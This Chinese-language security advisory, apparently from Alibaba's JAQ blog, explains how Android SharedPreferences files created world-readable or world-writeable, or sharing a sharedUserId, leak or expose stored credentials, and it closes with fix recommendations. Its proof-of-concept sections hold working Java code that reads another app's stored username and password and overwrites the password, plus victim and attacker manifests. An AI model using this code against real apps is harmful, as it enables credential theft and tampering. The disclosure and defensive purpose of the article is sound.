1. 安卓Shared Preferences存储安全风险描述

Android系统提供了以下四种Android应用本地存储方式:Shared Preferences、SQLite Databases、Internal Storage、External Storage等存储方式。Shared Preferences是一种轻量级的基于XML文件存储的键值对(key-value)数据的数据存储方式,一般用于储存应用的配置等信息【1】; 
      Shared Preferences存储安全风险源于:1)开发者在创建文件时没有正确的选取合适的创建模式(MODE_PRIVATE、MODE_WORLD_READABLE以及MODE_WORLD_WRITEABLE)进行权限控制;2)开发者过度依赖Android系统内部存储安全机制,将用户信息、密码等敏感重要的信息明文存储在Shared Preferences文件中,导致攻击者可通过root手机来查看敏感信息。
在乌云漏洞平台上,存在大量Shared Preferences文件中明文存储个人身份信息、密码以及token等重要敏感信息导致泄露的漏洞,如网易阅读Android客户端漏洞导致账号密码泄漏[2]、高朋团购网泄漏用户敏感信息[3]、苏宁易购用户敏感信息泄露[4]、最新江苏移动营业厅官方手机android客户端应用目录两个文件明文存储登录使用的服务密码手机号等信息[5]。

2.安卓Shared Preferences存储安全影响范围

Android所有系统

3.安卓Shared Preferences存储安全风险详情

1) 风险位置:

SharedPreferences.getSharedPreferences(String prefName, int mode);

2) 风险触发前提条件:

使用MODE_WORLD_READABLE模式创建Shared Preferences文件或使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值和测试签名;

3) 风险原理:

a. 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,使得其他应用对该Shared Preferences文件具备可读的权限;
      b. 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值,使得其他应用对该应用的Shared Preferences文件具备可写的权限。
      c. 在具备root权限的程序或用户对任何应用程序通过任意模式创建的的Shared Preferences文件都具有可读可写的权限。

4. Shared Preferences存储安全风险POC

1) 使用MODE_PRIVATE模式创建Shared Preferences文件,其他应用不可读取该应用的Shared Preferences文件的内容;
      通过MODE_PRIVATE模式创建Shared Preferences文件的代码片段:

String user=mEtUserName.getText().toString();
String pass=mEtPassword.getText().toString();
SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_PRIVATE).edit();
editor.putString("username", user);
editor.putString("password", pass);
editor.commit();

该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_PRIVATE模式创建Shared Preferences文件:
 
      通过adb shell进入系统终端,切换至su账户查看该应用创建的shared Preferences文件属性,得知其权限为“-rw-rw----”,其中others的权限不可读,如下图所示:

通过adb shell进入系统终端,通过普通用户查看该应用创建的Shared Preferences文件,如下图所示,将提示“Permission denied”:

其他应用查看该应用创建的Shared Preferences文件的代码片段:

Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
String username = sharedPreferences.getString("username", "");
String password = sharedPreferences.getString("password", "");
mBtnCrackerContent.setText("user: " + username + "pwd: " + password);

通过adb logcat发现以下日志,即提示没有权限查看该Shared Preferences文件:
 
      2) 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,其他应用可读取该应用创建的Shared Preferences文件,将会造成敏感信息泄露;
      通过MODE_WORLD_READABLE模式创建Shared Preferences文件的代码片段:

String user=mEtUserName.getText().toString();
String pass=mEtPassword.getText().toString();
SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_READABLE).edit();
editor.putString("username", user);
editor.putString("password", pass);
editor.commit();

该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_READABLE模式创建Shared Preferences文件:
 
      通过adb shell进入系统终端,切换至su账户查看该应用创建的Shared Preferences文件属性,得知其权限为“-rw-rw-r--”,其中others具有可读权限,如下图所示:

通过adb shell进入普通用户的shell,查看通过MODE_WORLD_READABLE模式Shared Preferences文件”settings.xml”,文件内容如下图所示:

攻击代码片段:

Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
String username = sharedPreferences.getString("username", "");
String password = sharedPreferences.getString("password", "");
mBtnCrackerContent.setText("user: " + username + "pwd: " + password);

启动攻击应用,即可获取到包名为“com.alibaba.jaq.datastoragepoc”应用的Shared Preferences文件“settings.xml”的内容键值:
 
      3) 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences,虽然其他应用不可读取该应用的Shared Preferences文件,但是如果恶意应用与该POC应用具有相同的“android:sharedUserId”属性值和签名key时,恶意应用即可对其Shared Preferences文件进行写操作;
      通过MODE_WORLD_WRITEABLE模式创建Shared Preferences的代码片段:

String user=mEtUserName.getText().toString();
String pass=mEtPassword.getText().toString();
SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit();
editor.putString("username", user);
editor.putString("password", pass);
editor.commit();

该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_WRITEABLE模式创建Shared Preferences文件:

通过adb shell进入系统终端,切换至su账户查看创建的shared Preferences文件的权限为“-rw-rw--w-”,其中others具有可写权限,如下图所示:

通过adb shell进入普通用户的shell,查看通过MODE_WORLD_WRITEABLE模式shared Preferences文件”settings.xml”, 如下图所示,将提示“Permission denied”:
 
      读取其他应用的shared Preferences的攻击代码片段:

Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
String username = sharedPreferences.getString("username", "");
String password = sharedPreferences.getString("password", "");
mBtnCrackerContent.setText("user: " + username + "pwd: " + password);

启动攻击应用读取包名为“com.alibaba.jaq.datastoragepoc”应用的shared Preference文件“settings.xml”时,将提示“Permission denied”:
 
      写其他应用的Shared Preferences文件的攻击代码片段:

Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences.Editor editor = context.getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit();
editor.putString("password", "hacked");
editor.commit();

当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者即可对受害应用的Shared Perferences有写的权限:
受害者应用AndroidManifest.xml文件内容:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.alibaba.jaq.datastoragepoc"android:versionCode="1"android:versionName="1.0"android:sharedUserId="jaq.poc"><uses-sdk android:minSdkVersion="10"/><application android:label="@string/app_name"><activity android:name="MainActivity"android:label="@string/app_name"><intent-filter><action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/></intent-filter></activity></application>
</manifest>

攻击者应用AndroidManifest.xml文件内容:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.alibaba.jaq.datastoragecrackerpoc"android:versionCode="1"android:versionName="1.0"android:sharedUserId="jaq.poc"><uses-sdk android:minSdkVersion="10"/><application android:label="@string/app_name"><activity android:name="CrackerActivity"android:label="@string/app_name"><intent-filter><action android:name="android.intent.action.MAIN"/><category android:name="android.intent.category.LAUNCHER"/></intent-filter></activity></application>
</manifest>

下图结果显示,当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者可写入受害应用通过MODE_WORLD_WRITEABLE模式创建的Shared Preferences:
 

4) root下可任意读写应用创建的Shared Preferences,因此不可将密码等用户敏感信息明文存储在Shared Preferences中,以防止Android设备被root之后,造成敏感信息的泄露以及财产损失;

5.Shared Preferences存储安全风险修复建议

1. 避免使用MODE_WORLD_WRITEABLE和MODE_WORLD_READABLE模式创建进程间通信的文件,此处即为Shared Preferences;

出于安全考虑,阿里聚安全建议不要使用全局可读模式和全局可写模式创建进程间通信的文件,此处即为但不限于Shared Preferences。如果需要与其他进程应用进行数据共享,请考虑使用content provider,详情参照Google官方安全指导[6]。

2. 避免将密码等敏感数据信息明文存储在Shared Preferences中;

出于安全考虑,阿里聚安全建议不要将密码等敏感信息存储在Shared Preferences等内部存储中,即使Android系统内部存储安全机制,使得内部存储文件可不让其他应用读写,但是在Android系统root之后,该安全机制将失效而导致信息泄露。因此应该将敏感信息进行加密存储在Shared Preferences等内部存储文件中,详情参照Google官方安全指导[6]。

3. 避免滥用“android:sharedUserId”属性;

阿里聚安全建议不要在使用“android:sharedUserId”属性的同时,对应用使用测试签名,否则其他应用拥有“android:sharedUserId”属性值和测试签名时,将会访问到内部存储文件数据 [7]。

引用
[1] http://developer.android.com/guide/topics/data/data-storage.html#pref
[2] http://www.wooyun.org/bugs/wooyun-2010-010056
[3] http://www.wooyun.org/bugs/wooyun-2010-016309
[4] http://www.wooyun.org/bugs/wooyun-2010-014308
[5] http://www.wooyun.org/bugs/wooyun-2010-079232
[6]http://developer.android.com/training/articles/security-tips.html#StoringData

[7]http://developer.android.com/guide/topics/manifest/manifest-element.html#uid

原文地址:http://jaq.alibaba.com/blog.htm?id=56

Android本地数据存储:Shared Preferences安全风险浅析相关推荐

  1. android 储存方案,Android本地数据存储方案(一)

    Android系列的博客主要是记录和总结自己在平时学习之中遇到的问题,方便日后用到时查看,同时也希望对读者有所帮助.不足之处,欢迎指正~ 在说到Android数据存储之前,先提一下数据持久化,所谓数据 ...

  2. Android本地数据存储: Reservoir

    一:前言 今天做项目,准备使用本地存储,把一些数据存在本地磁盘上,比如用户名.密码这样的.其实大家都知道,这种情况最常用的就是SharedPreferences了,我也不例外,脑子里第一个想到的就是用 ...

  3. android app数据存储,基于Android开发的APP数据存储研究

    谢原武+龙文 摘要: 作为一个完整的应用程序,数据存储操作是必不可少的.Android系统一共提供了四种数据存储方式分别为File文件存储.Shared Preferences存储.ContentPr ...

  4. 005 Android之数据存储

    文章目录 Android文件系统 Android文件的访问权限 文件访问权限实例 数据存储方式 内部存储 内部存储实例 外部存储 Shared Preferences Shared Preferenc ...

  5. Android的数据存储之一------SharedPreferences

    下面将介绍下Android的数据存储,Android提供了5种方式存储数据: 1.SharedPreferences存储数据; 2.文件存储数据: 3.SQLite数据库存储数据: 4.使用Conte ...

  6. iOS APP之本地数据存储(译)

    最近工作中完成了项目的用户信息本地存储,查阅了一些本地存储加密方法等相关资料.期间发现了一个来自印度理工学院(IIT)的信息安全工程师的个人博客,写了大量有关iOS Application secur ...

  7. iOS本地数据存储安全

    iOS本地数据存储安全 移动APP通常会在设备本地存储一些数据,这可以为程序执行.更良好地性能或离线访问提供支持.由于移动设备使用地越来越广泛,设备失窃的风险也越来越大,因此不安全的本地数据存储已成为 ...

  8. Windows 8 应用开发 - 本地数据存储

    原文:Windows 8 应用开发 - 本地数据存储 在应用中通常会遇到用户主动或被动存储信息的情况,当应用关闭后这些数据仍然会存储在本地设备上,用户下次重新激活应用时会自动加载这些数据.下面将通过一 ...

  9. android SharedPreferences数据存储

    android  SharedPreferences数据存储 很多时候我们开发的软件需要向用户提供软件参数设置功能,例如我们常用的QQ,用户可以设置是否允许陌生人添加自己为好友.对于软件配置参数的保存 ...

  10. 白鹭本地数据存储操作代码实例

    白鹭引擎 版本:5.2.8 描述:白鹭本地数据存储操作代码实例 本地数据的增删改查函数 /*** 数据存储函数*/private save_key(key_name:string,key_value: ...

最新文章

  1. 机器学习——模型测试与评估方法与指标
  2. 测试函数: Ackely,Rastrigin,Griewangk,SumSquartes,Sphere,Quartic,Schwefel' Problem 12等
  3. Redis之单线程 Reactor 模型
  4. 【linux高级程序设计】(第十五章)UDP网络编程应用 2
  5. Android SDK版本和ADT版本
  6. mysql时间戳和日期转换
  7. 机器学习案例 特征组合——高帅富 冷启动——从微博等其他渠道搜集数据进行机器学习 用户年龄——线性分段处理...
  8. swift使用mysql教程,Swift学习教程之SQLite的基础使用
  9. TinycoreLinux的安装使用
  10. 第 9 章 Debug
  11. 结构体与共用体07 - 零基础入门学习C语言59
  12. php-fpm容易假死,实现自动重启php服务的脚本 通过后
  13. 达“超人”水平?强化学习得这么用!
  14. sqoop连接mysql_Sqoop jdbc 连接 MySQL 驱动包com.mysql.cj.jdbc.Driver 问题解决方法
  15. ubuntu eclipseJDK
  16. 义齿计算机辅助制作技术包括,可摘局部义齿CAD/CAM/SLM金属3D打印制作新方法
  17. SolidWorks设计助手,可以标注和实体无关的工程图标注
  18. iOS设置App的名称和简单的版本国际化与本地化
  19. 层叠上下文、层叠层级、层叠顺序
  20. android MediaPlayer m3u8 播放

热门文章

  1. web服务器主机头文件,在Win2k下建立虚拟Web主机
  2. POJ1008:玛雅日历
  3. matlab给定振形用图表示,基于 MATLAB 的简谐振动合成图形的动态演示
  4. Unraid USB启动盘怎么更换和重新获取注册码密钥?
  5. 长期在计算机房内会有多大辐射,机房辐射范围和预防辐射?计算机房里面适用的屏蔽隔离防辐射材料是什么?...
  6. Win7 Hiberfil.sys pagefile.sys
  7. #.net在技术上远超Java,可是为什么大多数公司还是选择使用Java
  8. 【最新】半小时教你制作出属于自己的QQ机器人【保姆级】
  9. 球动画设计HTML5,html5 canvas炫彩运动小球动画特效
  10. 安卓文件管理神器--X-plore